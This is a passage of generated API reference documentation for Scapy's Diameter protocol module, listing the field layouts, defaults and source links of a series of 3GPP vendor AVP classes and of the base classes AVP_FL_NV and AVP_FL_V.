+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_712                        


AVP_10415_712 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_714(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1876-L1880]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_714                        


AVP_10415_714 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_717(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1883-L1886]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_717                        


AVP_10415_717 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_718(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1889-L1894]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_718                        


AVP_10415_718 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_829(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1897-L1900]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_829                        


AVP_10415_829 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_862(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1903-L1928]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_862                        


AVP_10415_862 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_864(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1931-L1934]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_864                        


AVP_10415_864 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_867(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1937-L1941]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_867                        


AVP_10415_867 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_870(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1944-L1987]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_870                        


AVP_10415_870 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_872(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1990-L2008]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_872                        


AVP_10415_872 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_882(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2011-L2014]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_882                        


AVP_10415_882 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_883(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2017-L2020]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_883                        


AVP_10415_883 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_884(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2023-L2036]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_884                        


AVP_10415_884 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_899(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2039-L2056]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_899                        


AVP_10415_899 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_902(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2059-L2063]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_902                        


AVP_10415_902 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_906(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2066-L2070]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_906                        


AVP_10415_906 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_907(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2073-L2077]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_907                        


AVP_10415_907 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_921(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2080-L2084]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_921                        


AVP_10415_921 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_922(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2087-L2090]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_922                        


AVP_10415_922 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_FL_NV(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L445-L451]

	Bases: AVP_Generic

Defines the AVP of Fixed Length with No Vendor field.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_FL_NV                          


AVP_FL_NV fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	None















	
class scapy.contrib.diameter.AVP_FL_V(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=None, avpVnd=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L454-L461]

	Bases: AVP_Generic

Defines the AVP of Fixed Length with Vendor field.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
